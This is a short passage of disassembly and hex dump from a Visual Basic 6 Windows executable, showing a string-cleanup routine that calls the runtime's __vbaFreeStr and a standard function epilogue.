00404275jmp 0x4042b5
00404277
00404277 8b 45 f0 83 e0 04 85 c0 74 .E......t
00404280 09 8d 4d d0 ff 15 64 11 40 00 8d 4d a4 51 8d 55 ..M...d.@..M.Q.U
00404290 a8 52 8d 45 ac 50 6a 03 ff 15 08 11 40 00 83 c4 .R.E.Pj.....@...
004042a0 10 8d 4d 84 51 8d 55 94 52 6a 02 ff 15 18 10 40 ..M.Q.U.Rj.....@
004042b0 00 83 c4 0c c3 .....
004042b5
004042b5loc_4042b5:
004042b5lea ecx, [ebp-36]
004042b8call imp:msvbvm60!__vbaFreeStr
004042belea ecx, [ebp-44]
004042c1call imp:msvbvm60!__vbaFreeStr
004042c7lea ecx, [ebp-56]
004042cacall imp:msvbvm60!__vbaFreeStr
004042d0lea ecx, [ebp-76]
004042d3call imp:msvbvm60!__vbaFreeStr
004042d9ret
004042damov eax, [ebp+8]
004042ddmov ecx, [eax]
004042dfmov edx, [ebp+8]
004042e2push edx
004042e3call [ecx+8]
004042e6mov eax, [ebp+24]
004042e9mov ecx, [ebp-48]
004042ecmov [eax], ecx
004042eemov eax, [ebp-16]
004042f1mov ecx, [ebp-32]
004042f4mov [0x0], ecx
004042fbpop edi
004042fcpop esi
004042fdpop ebx
004042femov esp, ebp
00404300pop ebp
00404301ret 20
00403d50